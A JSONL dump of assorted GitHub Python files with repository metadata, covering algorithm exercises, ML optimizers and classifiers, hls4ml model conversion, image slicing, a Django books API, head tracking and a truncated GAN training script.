prime_nums[i] == 0:\n N = N // prime_nums[i]\n result[i] += 1\n print('#{}'.format(tc), end=' ')\n print(*result)\n","repo_name":"wnstj-yang/Algorithm","sub_path":"SWEA/D2/SWEA_1945.py","file_name":"SWEA_1945.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32468845033","text":"NUMBER_THRESHOLD = 256\nimport numpy as np\nimport cv2\nEPS = 0.00000000000000001\n\ndef evaluate_(resS, gt, precision, recall, tpr, fpr):\n gtFM = gt\n gtFM = cv2.compare(gtFM, 128, cv2.CMP_GT)\n gtBM = cv2.bitwise_not(gtFM)\n gtF = np.sum(gtFM)\n gtB = resS.shape[0] * resS.shape[1] * 255 - gtF\n mae = 0.\n for i in range(NUMBER_THRESHOLD):\n resM = np.zeros(resS.shape)\n tpM = np.zeros(resS.shape)\n fpM = np.zeros(resS.shape)\n resM = cv2.compare(resS, i, cv2.CMP_GT)\n tpM = cv2.bitwise_and(resM, gtFM)\n fpM = cv2.bitwise_and(resM, gtBM)\n tp = np.sum(tpM)\n fp = np.sum(fpM)\n recall[i] += tp / (gtF + EPS) \n total = EPS + tp + fp\n precision[i] += (tp + EPS) / total\n tpr[i] += (tp + EPS) / (gtF + EPS)\n fpr[i] += (fp + EPS) / (gtB + EPS)\n np.divide(gtFM, 255.0)\n np.divide(resS, 255.0)\n resS = cv2.absdiff(gtFM, resS)\n mae += np.sum(resS) / (gtFM.shape[0] * gtFM.shape[1])\n print(mae)\n return mae\n\ndef get_AUC(resS, gt):\n precision = np.zeros((NUMBER_THRESHOLD, 1))\n recall = np.zeros((NUMBER_THRESHOLD, 1))\n tpr = np.zeros((NUMBER_THRESHOLD, 1))\n fpr = np.zeros((NUMBER_THRESHOLD, 1))\n mea = evaluate_(resS, gt, precision, recall, tpr, fpr)\n print(recall)\n areaROC = 0.\n for i in range(NUMBER_THRESHOLD):\n areaROC += (tpr[i] + tpr[i - 1]) * (fpr[i - 1] - fpr[i]) / 2.0\n print(areaROC)\n return areaROC\n\nif __name__ == \"__main__\":\n test2_path = \"1036.png\"\n test1_path = \"temp.jpg\"\n test1 = cv2.imread(test1_path)\n test2 = cv2.imread(test2_path)\n # gray1 = cv2.cvtColor(test1, cv2.COLOR_BGR2GRAY)\n # gray2 = cv2.cvtColor(test2, cv2.COLOR_BGR2GRAY)\n np.set_printoptions(threshold=np.inf)\n get_AUC(test1[:,:,0], test2[:,:,0])","repo_name":"vc-nju/drfi_python","sub_path":"measures/get_auc.py","file_name":"get_auc.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"71109885953","text":"from TrigValTools.TrigValSteering.Step import Step\nimport contextlib\nimport sys\n\nclass PyStep(Step):\n \"\"\"Step calling a python function\"\"\"\n\n def __init__(self, func, **kwargs):\n name = kwargs.get('name') or func.__name__\n super(PyStep, self).__init__(name)\n self.func = func\n self.func_kwargs = dict([(k,v) for k,v in kwargs.items() if k != 'name'])\n self.output_stream = Step.OutputStream.STDOUT_ONLY\n\n def run(self, dry_run=False):\n\n self.log.info('Running %s step', self.name)\n\n dest = sys.stdout\n if self.output_stream == self.OutputStream.NO_PRINT:\n dest = None\n elif self.output_stream in [self.OutputStream.FILE_ONLY, self.OutputStream.FILE_AND_STDOUT]:\n dest = open(self.get_log_file_name(), 'w')\n\n if dry_run:\n self.result = 0\n else:\n try:\n with contextlib.redirect_stdout(dest), contextlib.redirect_stderr(dest):\n self.result = self.func(**self.func_kwargs)\n\n # Poor man's implementation of 'tee'\n if self.output_stream == self.OutputStream.FILE_AND_STDOUT:\n dest.close()\n print(open(dest.name).read())\n\n # In case function does not return a value, assume success\n if self.result is None:\n self.result = 0\n except Exception as e:\n self.log.error('Exception calling %s: %s', self.func.__name__, e)\n self.result = 1\n\n return self.result, f'# (internal) {self.func.__name__}'\n","repo_name":"Yusuf-Manjra/athena","sub_path":"Trigger/TrigValidation/TrigValTools/python/TrigValSteering/PyStep.py","file_name":"PyStep.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5994900687","text":"import numpy as np\n\nclass SVRG():\n \"\"\"Implementation of SVRG from \"Accelerating Stochastic Gradient\n Descent using Predictive Variance Reduction\" by Johnson and Zhang 2013\n \"\"\" \n def __init__(self,\n model,\n update_freq,\n eta = None):\n \"\"\"Initialize SVRG\n\n Args:\n model (Logistic/LeastSquares): Object containing problem information\n update_freq (dict): Update frequency for snapshot.\n Must contain (key, value) pair ('snapshot', (int, 'minibatches'))\n eta (float, optional): Learning rate. Defaults to None.\n \"\"\" \n self.model = model\n\n if eta is None:\n L = self.model.get_smoothness_ub()\n self.eta = max(1/2 * 1/(self.model.mu * self.model.ntr + L), 1/L * 1/3)\n else:\n self.eta = eta\n\n self.update_freq = update_freq\n self.w_tilde = None\n self.g_bar = None\n self.n_iters = 0\n\n def step(self, indices):\n \"\"\"Perform a single step of SVRG\n\n Args:\n indices (ndarray): Batch to use for calculating stochastic gradient\n \"\"\" \n # Update snapshot if needed\n if self.n_iters % self.update_freq['snapshot'] == 0:\n self.w_tilde = self.model.w.copy()\n self.g_bar = self.model.get_grad(np.arange(self.model.ntr))\n \n g = self.model.get_grad(indices)\n g_tilde = self.model.get_grad(indices, self.w_tilde)\n self.model.w -= self.eta * (g - g_tilde + self.g_bar) # SVRG update\n self.n_iters += 1","repo_name":"udellgroup/SketchySGD","sub_path":"convex/opts/svrg.py","file_name":"svrg.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9333136754","text":"from email.mime import image\r\nimport torch\r\nfrom torchvision import models, transforms #Modelos, y Transformaciones para ajustal la imagen \r\nfrom PIL import Image\r\n\r\n#Cargamos el diccionario de Etiquetas de ImageNet\r\nwith open(\"resources\\imageNet_index.txt\") as f:\r\n idx2label = eval(f.read())\r\n#print(idx2label, idx2label.get(916))\r\n\r\n#Imagen a clasificar\r\nimagen = Image.open(\"static\\img\\prueba.jpeg\")\r\n#imagen.show()\r\n\r\ndef clasificador(image_path=imagen):\r\n # print(dir(models)) #Modelos de clasificación de imágenes\r\n\r\n imagen = Image.open(image_path)\r\n\r\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n #print(device) #Computo utilizado\r\n\r\n #Seleccionamos el modelo a utilizar\r\n alexnet = models.alexnet(pretrained=True)\r\n #print(alexnet)\r\n\r\n\r\n #Transformador para ajustar la imagen al número de neuronas de la red\r\n preprocess = transforms.Compose([\r\n transforms.Resize(256),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor(),\r\n transforms.Normalize(\r\n mean=[0.485, 0.456, 0.406],\r\n std=[0.229, 0.224, 0.225]\r\n )])\r\n #print(preprocess)\r\n\r\n \r\n img_t = preprocess(imagen) # preprocesar imagen\r\n batch_t = torch.unsqueeze(img_t, 0) # convertir a tensor de 1-dimension\r\n alexnet.eval() # entrar en modo evaluación\r\n out = alexnet(batch_t) # pasar la imagen ya preprocesada y ajustada\r\n\r\n _, indices = torch.sort(out, descending=True)\r\n \r\n #print(indices[0][:3]) #3 Clasificaciones de la red según los Indices de ImageNet\r\n clave = indices[0][:1].item()\r\n\r\n clasification = idx2label.get(clave)\r\n\r\n return clasification","repo_name":"JTarletta/ImageClassificationProject","sub_path":"Image_Classification/clasificador.py","file_name":"clasificador.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32460710406","text":"import setGPU\nimport tensorflow\nfrom models import dense_embedding\nfrom tensorflow.keras.layers import Input, Concatenate\nfrom tensorflow.keras.models import Model\nimport numpy as np\nimport hls4ml\nimport pandas as pd\nfrom qkeras.utils import _add_supported_quantized_objects\nfrom models import dense_embedding, dense_embedding_quantized\nco = {}\n_add_supported_quantized_objects(co)\n\n\ndef print_dict(d, indent=0):\n align = 20\n for key, value in d.items():\n print(' ' * indent + str(key), end='')\n if isinstance(value, dict):\n print()\n print_dict(value, indent+1)\n else:\n print(':' + ' ' * (20 - len(key) - 2 * indent) + str(value))\n\n\n# load full model:\n# model = tensorflow.keras.models.load_model('output/model.h5', compile=False, custom_objects=co)\n# prepare new model:\nn_puppi_cands = 16\nreuse_factor = 1\nprecision = 'ap_fixed<8,3>'\nio_type = 'io_parallel'\nstrategy = 'Resource'\noutput_dir = 'hls_output_{}_{}_rf{}_puppi{}'.format(io_type, strategy, reuse_factor, n_puppi_cands)\nbatch_size = 1\nmodel = dense_embedding_quantized(n_features=6,\n n_features_cat=2,\n number_of_pupcandis=n_puppi_cands,\n embedding_input_dim={0: 13, 1: 3},\n emb_out_dim=8,\n with_bias=False,\n t_mode=1,\n units=[12, 36],\n logit_total_bits=8,\n logit_int_bits=2,\n activation_total_bits=8,\n activation_int_bits=2)\n# load just weights:\n# model.load_weights('output/model.h5')\n\n# check everthing works\nmodel.summary()\nmodel.save('{}/model.h5'.format(output_dir))\n\n# now let's break up the model\n# save a dictionary of the model\nmodel_dict = {layer.name: layer for layer in model.layers}\n\n# first part of the model\npartial_model_1 = Model(inputs=[model_dict['input_cont'].input, model_dict['input_cat0'].input, model_dict['input_cat1'].input],\n outputs=model_dict['met_weight_minus_one'].output, name='partial_model_1')\npartial_model_1.summary()\n\n# second part of the model\ninput_layer_1 = Input(model_dict['input_pxpy'].input.shape[1:])\ninput_layer_2 = Input(model_dict['met_weight_minus_one'].output.shape[1:])\nx = model_dict['multiply']([input_layer_2, input_layer_1])\noutput_layer = model_dict['output'](x)\npartial_model_2 = Model(inputs=[input_layer_1, input_layer_2], outputs=output_layer, name='partial_model_2')\npartial_model_2.summary()\n\npartial_model_1.save('{}/partial_model_1.h5'.format(output_dir))\npartial_model_2.save('{}/partial_model_2.h5'.format(output_dir))\n\n# let's check the partial models give the same answer as the original model\n# random inputs\nX = np.random.rand(batch_size, n_puppi_cands, 4)\nXp = np.random.rand(batch_size, n_puppi_cands, 2)\nX_cat0 = np.random.randint(13, size=(batch_size, n_puppi_cands))\nX_cat1 = np.random.randint(3, size=(batch_size, n_puppi_cands))\nprint('input shapes')\nprint(X.shape)\nprint(Xp.shape)\nprint(X_cat0.shape)\nprint(X_cat1.shape)\n\n# original output\ny = model.predict([X, Xp, X_cat0, X_cat1])\nprint('original output')\nprint(y)\n\n# partial ouputs\ny_1 = partial_model_1.predict([X, X_cat0, X_cat1])\ny_2 = partial_model_2.predict([Xp, y_1])\nprint('partial outputs')\nprint(y_2)\n\n# check if they're equal (error if they're not!)\nnp.testing.assert_array_equal(y, y_2)\n\nmodel_to_convert = partial_model_1\nconfig = hls4ml.utils.config_from_keras_model(model_to_convert, granularity='name',\n default_reuse_factor=reuse_factor, default_precision=precision)\nconfig['Model']['Strategy'] = strategy\nconfig['LayerName']['input_cat0']['Precision']['result'] = 'ap_uint<4>'\nconfig['LayerName']['input_cat1']['Precision']['result'] = 'ap_uint<4>'\n# skip optimize_pointwise_conv\n# config['SkipOptimizers'] = ['optimize_pointwise_conv']\n# for layer in config['LayerName'].keys():\n# config['LayerName'][layer]['Trace'] = True\n\nprint(\"-----------------------------------\")\nprint_dict(config)\nprint(\"-----------------------------------\")\nhls_model = hls4ml.converters.convert_from_keras_model(model_to_convert,\n hls_config=config,\n io_type=io_type,\n output_dir=output_dir,\n part='xcvu9p-flgb2104-2-i',\n clock_period=5)\nhls_model.compile()\n\nhls4ml.utils.plot_model(hls_model, show_shapes=True, show_precision=True, to_file='{}/model_hls4ml.png'.format(output_dir))\n\ny_1_hls = hls_model.predict([X.astype(np.float32), X_cat0.astype(np.float32), X_cat1.astype(np.float32)])\ndf = pd.DataFrame({'keras': y_1.flatten(), 'hls4ml': y_1_hls.flatten()})\nprint(df)\n\n\nhls_model.build(synth=True)\nhls4ml.report.read_vivado_report(output_dir)\n","repo_name":"jmduarte/L1METML","sub_path":"convert_partial_models.py","file_name":"convert_partial_models.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72217040835","text":"import cv2\nimport os\nfrom PIL import Image, ImageDraw\nimport numpy as np\nfrom math import pow\n\n\nclass ContentImageHandler:\n def __init__(self, target_ratio, kernel_size, threshold_ratio):\n # Set media loading path\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n self.MEDIA_DB_DIR = os.path.join(BASE_DIR, 'test_database')\n\n # Set target size\n self.target_ratio = target_ratio\n\n # Set kernel, threshold ratio\n self.kernel_size = kernel_size\n self.threshold_ratio = threshold_ratio\n\n def scan_image(self, image_copy):\n # Convert image to grayscale\n image = image_copy.convert('L')\n\n image_array = np.array(image, 'uint8')\n\n # Array to get mean of variance\n variance_holder = list()\n\n # List to hold scanning box\n scanning_box_area_list = list()\n\n # Scan image by kernel\n scan_unit_size = image_array.shape[0] // self.kernel_size\n\n for scan_index in range(scan_unit_size):\n # Scan each area of array\n scanning_box = image_array[scan_index * self.kernel_size: ((scan_index + 1) * self.kernel_size) if (scan_index + 1) * self.kernel_size < image_array.shape[0] else image_array.shape[0], :]\n\n # Set area of scanning box\n scanning_box_area = {\"x\": 0,\n \"y\": scan_index * self.kernel_size,\n \"width\": scanning_box.shape[1],\n \"height\": scanning_box.shape[0]}\n\n scanning_box_area_list.append(scanning_box_area)\n\n # Append variance\n variance_holder.append(np.var(scanning_box))\n\n # Get mean of variance\n np_variance_holder = np.array(variance_holder)\n mean_of_variance = np.mean(np_variance_holder)\n\n # Get threshold\n threshold = mean_of_variance * self.threshold_ratio\n\n # Get index of lower than threshold\n index_list_lower_threshold = list(np.where(np_variance_holder < threshold)[0])\n\n # Concat lower threshold boxes\n concat_box_list = list()\n concat_box = None\n\n for list_index, lower_threshold_index in enumerate(index_list_lower_threshold):\n selected_box = scanning_box_area_list[lower_threshold_index]\n\n # Concat box if its approximate\n if list_index + 1 < len(index_list_lower_threshold):\n if lower_threshold_index + 1 == index_list_lower_threshold[list_index + 1]:\n if concat_box is None:\n concat_box = selected_box\n\n # merge box\n concat_box[\"height\"] += scanning_box_area_list[list_index + 1][\"height\"]\n\n else:\n if concat_box is not None:\n concat_box_list.append(concat_box)\n concat_box = None\n\n else:\n if concat_box is not None:\n concat_box_list.append(concat_box)\n\n return concat_box_list\n\n @staticmethod\n def find_closest_area_index(previous_closest_index, concat_box_list, target_end):\n previous_closest_index += 1 if previous_closest_index != 0 else 0\n\n minimum_area_index = None\n minimum_area_sum = None\n\n # Scan concat box list and get lowest\n for concat_box_index, concat_box in enumerate(concat_box_list[previous_closest_index:]):\n # Calculate area sum\n area_sum = pow(target_end - (concat_box[\"y\"] + concat_box[\"height\"]), 2)\n\n # Update min area sum\n if minimum_area_sum is None:\n minimum_area_sum = area_sum\n minimum_area_index = concat_box_index\n\n else:\n if area_sum < minimum_area_sum:\n minimum_area_sum = area_sum\n minimum_area_index = concat_box_index\n\n if len(concat_box_list[previous_closest_index:]) != 0:\n closest_area_index = minimum_area_index + previous_closest_index\n\n else:\n closest_area_index = 0\n\n return closest_area_index\n\n def slice_image(self, image_copy, concat_box_list):\n # Set target height\n target_height = int(self.target_ratio * image_copy.width)\n\n # Hold sliced images\n sliced_image_list = list()\n\n # Scan image copy\n slice_unit = image_copy.height // target_height\n\n # Memorize prev sliced concat box index\n previous_closest_index = 0\n previous_closest_area = {\"x\": 0, \"y\": 0, \"width\": 0, \"height\": 0}\n\n for slice_unit_index in range(slice_unit):\n target_end = (slice_unit_index + 1) * target_height if slice_unit_index + 1 < slice_unit else image_copy.height\n\n # Find closest area to slice\n closest_area_index = self.find_closest_area_index(concat_box_list=concat_box_list,\n target_end=target_end,\n previous_closest_index=previous_closest_index)\n closest_area = concat_box_list[closest_area_index]\n\n # Get sliced image\n sliced_image = image_copy.crop(\n (\n # Set x\n 0,\n\n # Set y\n previous_closest_area[\"y\"] + (previous_closest_area[\"height\"] // 2),\n\n # Set x + width\n image_copy.width,\n\n # Set y + height\n closest_area[\"y\"] + (closest_area[\"height\"] // 2))\n )\n\n print(target_end)\n print(closest_area_index)\n print(closest_area)\n print(previous_closest_area[\"y\"] + (previous_closest_area[\"height\"] // 2))\n print(closest_area[\"y\"] + (closest_area[\"height\"] // 2))\n print(\"=\" * 50)\n\n # Update previous data\n previous_closest_index = closest_area_index\n previous_closest_area = closest_area\n\n sliced_image_list.append(sliced_image)\n\n return sliced_image_list\n\n def image_slice_process(self, image_copy):\n # Scan and get sliced image\n concat_box_list = self.scan_image(image_copy=image_copy)\n\n # Slice scanned image\n sliced_image_list = self.slice_image(image_copy=image_copy,\n concat_box_list=concat_box_list)\n\n return sliced_image_list\n\n\nif __name__ == \"__main__\":\n handler = ContentImageHandler(target_ratio=1.1,\n kernel_size=2,\n threshold_ratio=0.01)\n #handler.scan_image(file_name=f\"1.jpg\", kernel_size=2, threshold_ratio=0.01)\n #handler.detect_rectangle(file_name=f\"1.jpg\", kernel_size=1)\n #handler.detect_horizontal_line(file_name=f\"1.jpg\")\n handler.image_slice_process(file_name=f\"8.jpg\")\n\n '''\n for i in range(8):\n if i + 1 == 4: continue\n handler.scan_image(file_name=f\"{i+1}.jpg\")\n #handler.detect_rectangle(file_name=f\"{i+1}.jpg\")\n \n '''\n","repo_name":"discoverious/youtube_shorts_project","sub_path":"photo_utility/content_image_handler.py","file_name":"content_image_handler.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542133831","text":"\r\ndef flip(s, pos, len):\r\n for i in range(pos,pos+len):\r\n s[i] = \"+\" if s[i] == \"-\" else \"-\"\r\n return s\r\n\r\ndef solve(s,k):\r\n \"\"\" Just to a greedy algo\"\"\"\r\n\r\n flips = 0\r\n\r\n s = list(s)\r\n\r\n i = 0\r\n while i <= len(s)-k:\r\n if s[i] == '-':\r\n s = flip(s,i,k)\r\n flips += 1\r\n #print(flips,s)\r\n i += 1\r\n #print(s,flips)\r\n if \"-\" in s:\r\n return \"IMPOSSIBLE\"\r\n else:\r\n return flips\r\n\r\nT = int(input())\r\nfor t in range(T):\r\n s,k = input().split(\" \")\r\n k = int(k)\r\n print(\"Case #{0}: {1}\".format(t+1,solve(s,k)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/200.py","file_name":"200.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11129898106","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 13 12:08:44 2022\n\n@author: jbakermans\n\"\"\"\n\nimport dsl\nimport pcfg\nimport matplotlib.pyplot as plt\n\n# Create pcfg\ngrammar = pcfg.GRAMMAR\n\n# Sample a bunch of programs\nprograms = [pcfg.sample(grammar) for _ in range(16)]\n\n# Build shapes for programs\nshapes = [dsl.run_program(p) for p in programs]\n\n# Plot results\nplt.figure();\nfor r in range(4):\n for c in range(4):\n # Calculate index for current program\n i = r * 4 + c\n # Create subplot\n ax = plt.subplot(4, 4, i + 1)\n # Remove ticks\n ax.set_xticks([])\n ax.set_yticks([]) \n # Plot shape\n if shapes[i] is not None:\n ax.imshow(shapes[i], cmap='Greys', vmin=0, vmax=1)\n # Set title to program\n ax.set_title(programs[i])\n\n\n","repo_name":"jbakermans/tetris-program-synthesis","sub_path":"02_sample_shapes.py","file_name":"02_sample_shapes.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2602216194","text":"import os\nfrom numpy.lib.function_base import diff\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n\nimport tensorflow as tf\nimport numpy as np\nimport glob\nfrom functools import partial\nimport cv2\nimport sys\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\nimgpath = '/home/maanvi/LAB/Datasets/kt_new_trainvaltest/fold1/dc/train/AML/87137931/dc/1.png'\nlabelpath = '/home/maanvi/LAB/Datasets/kt_new_trainvaltest/fold1/dc/train/AML/87137931/dcL/1.png'\nstorepath = '/home/maanvi/Desktop/working/'\norig_image = cv2.imread(imgpath)[:,:,0]\n(orig_height, orig_width) = cv2.imread(imgpath)[:,:,0].shape\nimage = cv2.imread(labelpath)\nimage = cv2.resize(image, (orig_width, orig_height))\nbackup = image.copy()\nlower_red = np.array([0,0,50])\nupper_red = np.array([0,0,255])\nmask = cv2.inRange(image, lower_red, upper_red)\ncontours, _ = cv2.findContours(mask, cv2.RETR_TREE, cv2. CHAIN_APPROX_NONE)\nc = max(contours, key=cv2.contourArea)\nx, y, w, h = cv2.boundingRect(c)\nassert (w,h)<(224,224)\nassert (x,y)>=(0,0)\nconst = 0.5\ndiff_x = int(const*w)\ndiff_y = int(const*h)\nif (x-diff_x)<0:\n x1 = 0\nelse:\n x1 = x-diff_x\nif (y-diff_y)<0:\n y1 = 0\nelse:\n y1 = y-diff_y\nif (x+w+diff_x)>=orig_width:\n x2 = orig_width\nelse:\n x2 = x+diff_x+w\nif (y+diff_y+h)>=orig_height:\n y2 = orig_height\nelse:\n y2 = y+diff_y+h\n\ntmp = imgpath.rsplit('/',2)[1]\nprint(tmp)\nif tmp=='am':\n mean, std = orig_image.mean(), orig_image.std()\n orig_image = (orig_image - mean)/std\n mean, std = orig_image.mean(), orig_image.std()\n orig_image = np.clip(orig_image, -1.0, 1.0)\n orig_image = (orig_image + 1.0) / 2.0\n orig_image *= 255\n print('done gaussian stand')\nbackup = orig_image[y1:y2,x1:x2]\nbackup = cv2.resize(backup, (224,224),interpolation = cv2.INTER_LINEAR)\ncv2.imwrite(storepath+'withoutgauss_cropped_new_0.3.png',backup)\n\n\n","repo_name":"nunna-m/KidneyTumorClassification","sub_path":"ktc/old_files/subtemp.py","file_name":"subtemp.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23870945920","text":"from django_filters.rest_framework import DjangoFilterBackend\nimport requests\nimport json\nfrom django.shortcuts import get_object_or_404\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom rest_framework import generics\nfrom rest_framework import filters\nfrom rest_framework import filters\nfrom rest_framework.response import Response\nfrom books.models import Author, Book, Category\nfrom books.api.serializers import AuthorSerializer, BookSerializer, CategorySerializer\n\nclass BookListApiView(generics.ListAPIView):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n filter_backends = [filters.OrderingFilter, filters.SearchFilter, DjangoFilterBackend]\n filterset_fields = ['published_date']\n ordering_fields = ['published_date']\n\n def filter_queryset(self, queryset):\n queryset = super(BookListApiView, self).filter_queryset(queryset)\n # published_date = self.request.query_params.get('published_date', None)\n authors = self.request.query_params.getlist('author', None)\n if authors is not None:\n for author in authors:\n queryset = queryset.filter(authors__name__contains=author)\n # if published_date is not None:\n # queryset = queryset.filter()\n return queryset\n\n\nclass BookDetailsApiView(generics.RetrieveAPIView):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n def get(self, request, book_id):\n queryset = Book.objects.all()\n book = get_object_or_404(queryset, id=book_id)\n serializer = BookSerializer(book)\n return Response(serializer.data)\n\n\nclass BookCreateApiView(generics.CreateAPIView):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n def post(self, request):\n body_decoded = self.request.body.decode('utf-8')\n body = json.loads(body_decoded)\n query = body[\"q\"]\n if query is not None:\n r = requests.get(f\"https://www.googleapis.com/books/v1/volumes?q={query}\")\n if r.status_code == 200:\n books_data = r.json()\n for item in books_data[\"items\"]:\n volume_info = item[\"volumeInfo\"]\n book_info = {\n \"api_id\": item[\"id\"],\n \"title\": volume_info.get(\"title\"),\n \"published_date\": volume_info.get(\"publishedDate\")[:4],\n \"average_rating\": volume_info.get(\"averageRating\"),\n \"ratings_count\": volume_info.get(\"ratingsCount\"),\n }\n if volume_info.get(\"imageLinks\") is not None:\n book_info[\"thumbnail\"] = volume_info.get(\"imageLinks\").get(\"thumbnail\")\n else:\n book_info[\"thumbnail\"] = None\n authors = [Author.objects.get_or_create(name=author)[0] \n for author in volume_info.get(\"authors\", [])]\n categories = [Category.objects.get_or_create(name=category)[0]\n for category in volume_info.get(\"categories\", [])]\n book, _ = Book.objects.update_or_create(**book_info)\n book.authors.add(*authors)\n book.categories.set(categories)\n book.save()\n return Response(status=200)\n return Response({\"error\": \"Query\"}, status=r.status_code)\n return Response({\"error\": \"Please specify 'q' parameter in the URL.\"}, status=400)\n ","repo_name":"ntreq/google-books-api-django","sub_path":"books/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1074966003","text":"def main():\r\n T = int(input())\r\n dp = [1,2,4]\r\n for number in range(T):\r\n number = int(input())\r\n\r\n for i in range(len(dp), number):\r\n dp.append(dp[i-1]+dp[i-2]+dp[i-3])\r\n\r\n print(dp[number-1])\r\nif __name__==\"__main__\":\r\n main()","repo_name":"parkgunuk/baekjoon_problem","sub_path":"Python/Baekjoon_algo/baekjoon_9095.py","file_name":"baekjoon_9095.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23375837970","text":"import cv2\nimport random\nfrom computations import compute_histogram\nfrom tracker import Tracker\nfrom add_sup import parse_det_of_images, parse_gt_of_images, extract_image_part\nimport motmetrics as mm\nfrom matplotlib import pyplot as plt\nimport matplotlib.patches as patches\nimport time\nfrom os import path\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-path\", help=\"path to MOT dataset\", type=str)\nparser.add_argument(\"-out\", help=\"show output\", type=str)\nparser.add_argument(\"-v\", \"--verbose\", help=\"-\")\nargs = parser.parse_args()\n\nwork_dir = args.path\nif args.out == 't':\n show = True\nelse: show = False\n\n\ngt_data = parse_gt_of_images(work_dir + '/gt/gt.txt')\ndet_data = parse_det_of_images(work_dir + '/det/det.txt')\nimg_dir = work_dir + '/img1/'\n\ntracker = Tracker(similarity_treshold=0.75, lifetime=27, alpha=0.35)\nacc = mm.MOTAccumulator(auto_id=True)\n\n# another frame\nimages_ar = []\nim_it = 0\ncolor_table = {}\ngt_data_det = det_data # parse_det_of_images(work_dir+'train/HT21-01/det/det.txt')\nfor ik in range(len(gt_data_det) - 1):\n img = cv2.imread(img_dir + ('0' * (6 - len(str(ik + 1)))) + str(ik + 1) + '.jpg')\n cur_detections = gt_data_det[ik] # gain detections\n for det in cur_detections:\n det.hist = compute_histogram(extract_image_part(img, det))\n for det in gt_data[ik]: # for evaluation\n det.hist = compute_histogram(extract_image_part(img, det))\n start_time = time.time()\n tracker.Track(cur_detections)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n # marked_detections = tracker.update_det(gt_data_det[ik])\n marked_detections = tracker.get_tracks() # !!!!\n det_id = [marked_detections[i].id for i in range(len(cur_detections))]\n gt_id = [gt_data[ik][i].id for i in range(len(gt_data[ik]))]\n dist_mat = tracker.compute_cost_matrix(gt_data[ik], marked_detections)\n acc.update(gt_id, det_id, dist_mat)\n\n if(show):\n for s in tracker.get_tracks():\n if s.id not in color_table:\n color_table[s.id] = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n img = cv2.rectangle(img, (int(s.coord[0]), int(s.coord[1])), (int(s.coord[0] + s.l), int(s.coord[1] + s.h)),\n color=color_table[s.id], thickness=2)\n cv2.putText(img, str(s.id), (int(s.coord[0]), int(s.coord[1])), 1, 1, color_table[s.id], 2, cv2.LINE_AA)\n\n # Window name in which image is displayed\n window_name = 'image'\n cv2.imshow(window_name, img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n im_it += 1\n print(\"\\n-----------\" + str(im_it) + \"------------\\n\")\n\nmh = mm.metrics.create()\nsummary = mh.compute_many(\n [acc, acc.events.loc[0:1]],\n metrics=mm.metrics.motchallenge_metrics,\n names=['full', 'part'])\n\nstrsummary = mm.io.render_summary(\n summary,\n formatters=mh.formatters,\n namemap=mm.io.motchallenge_metric_names\n)\nprint(strsummary)\n","repo_name":"A1t3r/HeadTracking","sub_path":"run_track_eval.py","file_name":"run_track_eval.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44168736346","text":"import pytorch_fid_wrapper as pfw\nimport torch\nfrom torchvision import transforms\nfrom torchvision.utils import save_image\nfrom random import randrange\nfrom math import inf\nimport sys\nsys.path.append('./')\nfrom misc import ortho, RandomApplyEach\n\ndef train(generator, discriminator, loader, fid_real_m, fid_real_s, fid_len, augmentation_transforms = None, n_epochs = 100, D_steps = 2, ada_target = 0.6, adjustment_size = 500000, max_p = 0.0, \n ortho_reg = False, ortho_strength = 1e-4, model_dir = './results/generators_weights/', img_dir = None, device = 'cuda'):\n print(\"Training started\")\n # ADA\n # set max_p to 0 to disable\n if augmentation_transforms is None:\n augmentation_transforms = [\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.RandomAffine(degrees=20, translate=(0.2, 0.2), scale=(0.8, 1.2)),\n # transforms.ColorJitter(brightness=0.4, contrast=0.4, saturation=0.4, hue=0.1),\n ]\n p = torch.tensor(0.0, device=device)\n update_iteration = 8\n augmentation = RandomApplyEach(augmentation_transforms, p).to(device)\n ada_buf 